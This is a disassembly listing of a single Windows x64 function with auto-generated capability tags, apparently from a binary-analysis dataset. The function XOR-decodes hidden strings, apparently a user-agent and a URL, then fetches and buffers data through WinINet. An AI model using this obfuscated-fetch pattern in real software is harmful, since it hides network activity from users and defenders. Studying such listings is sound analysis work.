Function at 0x14000da20
Capabilities:
Create http request
Encode data using xor
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xfd0]
mov eax, 0x10d0
call fcn.1400bc3a0
sub rsp, rax
movaps xmmword [rsp + 0x10c0], xmm6
mov rax, qword [0x1400eb0c0]
xor rax, rsp
mov qword [rbp + 0xfb0], rax
xor edi, edi
lea r13, [0x1400ed158]
mov eax, dword [str.HISO_]
mov dword [rsp + 0x38], eax
movzx eax, word [0x1400d70c8]
mov word [rsp + 0x3c], ax
movups xmm0, xmmword [str.lIN]
movups xmmword [rsp + 0x40], xmm0
mov edx, dword [0x1400d6c80]
mov dword [rsp + 0x50], edx
movzx ecx, word [0x1400d6c84]
movups xmm0, xmmword [0x1400d5b30]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [0x1400d5b40]
movups xmmword [rsp + 0x70], xmm1
movq xmm0, qword [0x1400d5b50]
movsd qword [rbp - 0x80], xmm0
mov eax, dword [0x1400d5b58]
mov dword [rbp - 0x78], eax
mov eax, 0x55
mov word [rsp + 0x40], ax
xor word [rsp + 0x42], 0x3a
xor word [rsp + 0x44], 0x3b
xor word [rsp + 0x46], 0x3c
xor word [rsp + 0x48], 0x3d
xor word [rsp + 0x4a], 0x3e
xor word [rsp + 0x4c], 0x3f
xor word [rsp + 0x4e], 0x40
xor dx, 0x41
mov word [rsp + 0x50], dx
xor word [rsp + 0x52], 0x42
xor cx, 0x43
mov word [rsp + 0x54], cx
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, [rsp + 0x40]
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r12, rax
test rax, rax
jne 0x14000dbab
movzx eax, byte [rsp + 0x3d]
test al, al
je 0x14000db66
xor byte [rsp + 0x38], 0x39
xor byte [rsp + 0x39], 0x3a
xor byte [rsp + 0x3a], 0x3b
xor byte [rsp + 0x3b], 0x3c
xor byte [rsp + 0x3c], 0x3d
xor al, 0x3e
mov byte [rsp + 0x3d], al
xorps xmm0, xmm0
movups xmmword [0x1400ed158], xmm0
mov qword [0x1400ed168], rdi
mov qword [0x1400ed170], rdi
lea rax, [rsp + 0x38]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], dil
jne 0x14000db90
lea rdx, [rsp + 0x38]
mov rcx, r13
call fcn.140045100
jmp 0x14000df9c
cmp word [rbp - 0x76], di
je 0x14000de13
mov r8d, edi
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14000ddd0
movdqa xmm4, xmmword [0x1400d7410]
movdqa xmm5, xmmword [str.7777]
movdqa xmm6, xmmword [str.99999999]
movdqa xmm2, xmmword [0x1400d7300]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmm6
movq xmm0, qword [rsp + 0x60]
xorps xmm2, xmm0
movq qword [rsp + 0x60], xmm2
movdqa xmm3, xmmword [0x1400d7320]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm3, xmm0
pshufhw xmm0, xmm3, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmm6
movq xmm0, qword [rsp + 0x68]
xorps xmm2, xmm0
movq qword [rsp + 0x68], xmm2
movdqa xmm3, xmmword [0x1400d7340]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm3, xmm0
pshufhw xmm0, xmm3, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmm6
movq xmm0, qword [rsp + 0x70]
xorps xmm2, xmm0
movq qword [rsp + 0x70], xmm2
movdqa xmm3, xmmword [0x1400d7360]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm3, xmm0
pshufhw xmm0, xmm3, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmm6
movq xmm0, qword [rsp + 0x78]
xorps xmm2, xmm0
movq qword [rsp + 0x78], xmm2
movdqa xmm3, xmmword [0x1400d7370]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm3, xmm0
pshufhw xmm0, xmm3, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmm6
movq xmm0, qword [rbp - 0x80]
xorps xmm2, xmm0
movq qword [rbp - 0x80], xmm2
mov r8d, reloc.WS2_32.dll_sendto
mov eax, r8d
lea r9, [rsp + 0x60]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x37
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x16
jl 0x14000dde0
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov r15, rax
test rax, rax
jne 0x14000deac
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
movzx eax, byte [rsp + 0x3d]
test al, al
je 0x14000de6d
xor byte [rsp + 0x38], 0x39
xor byte [rsp + 0x39], 0x3a
xor byte [rsp + 0x3a], 0x3b
xor byte [rsp + 0x3b], 0x3c
xor byte [rsp + 0x3c], 0x3d
xor al, 0x3e
mov byte [rsp + 0x3d], al
xorps xmm0, xmm0
movups xmmword [0x1400ed158], xmm0
mov qword [0x1400ed168], rdi
mov qword [0x1400ed170], rdi
lea rax, [rsp + 0x38]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], dil
jne 0x14000de91
lea rdx, [rsp + 0x38]
mov rcx, r13
call fcn.140045100
jmp 0x14000df9c
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], rdi
mov r14d, reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x58], r14
mov byte [rbp - 0x70], dil
lea r9, [rsp + 0x58]
mov r8d, 0x1000
lea rdx, [rbp - 0x50]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14000df74
movzx ebx, byte [rsp + 0x30]
nop word [rax + rax]
mov eax, dword [rsp + 0x58]
test eax, eax
je 0x14000df74
mov esi, eax
mov rax, r14
sub rax, rdi
cmp rsi, rax
ja 0x14000df32
lea rax, [rsi + rdi]
mov qword [rbp - 0x60], rax
lea rax, [rbp - 0x70]
cmp r14, 0xf
cmova rax, qword [rbp - 0x70]
add rdi, rax
mov r8d, esi
lea rdx, [rbp - 0x50]
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
mov byte [rdi + rsi], 0
jmp 0x14000df4b
mov qword [rsp + 0x20], rsi
lea r9, [rbp - 0x50]
movzx r8d, bl
mov rdx, rsi
lea rcx, [rbp - 0x70]
call fcn.140044f70
lea r9, [rsp + 0x58]
mov r8d, 0x1000
lea rdx, [rbp - 0x50]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14000df74
mov r14, qword [rbp - 0x58]
mov rdi, qword [rbp - 0x60]
jmp 0x14000def0
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
movups xmm0, xmmword [rbp - 0x70]
movups xmmword [0x1400ed158], xmm0
movups xmm1, xmmword [rbp - 0x60]
movups xmmword [0x1400ed168], xmm1
mov rax, r13
mov rcx, qword [rbp + 0xfb0]
xor rcx, rsp
call fcn.1400bbb00
lea r11, [rsp + 0x10d0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret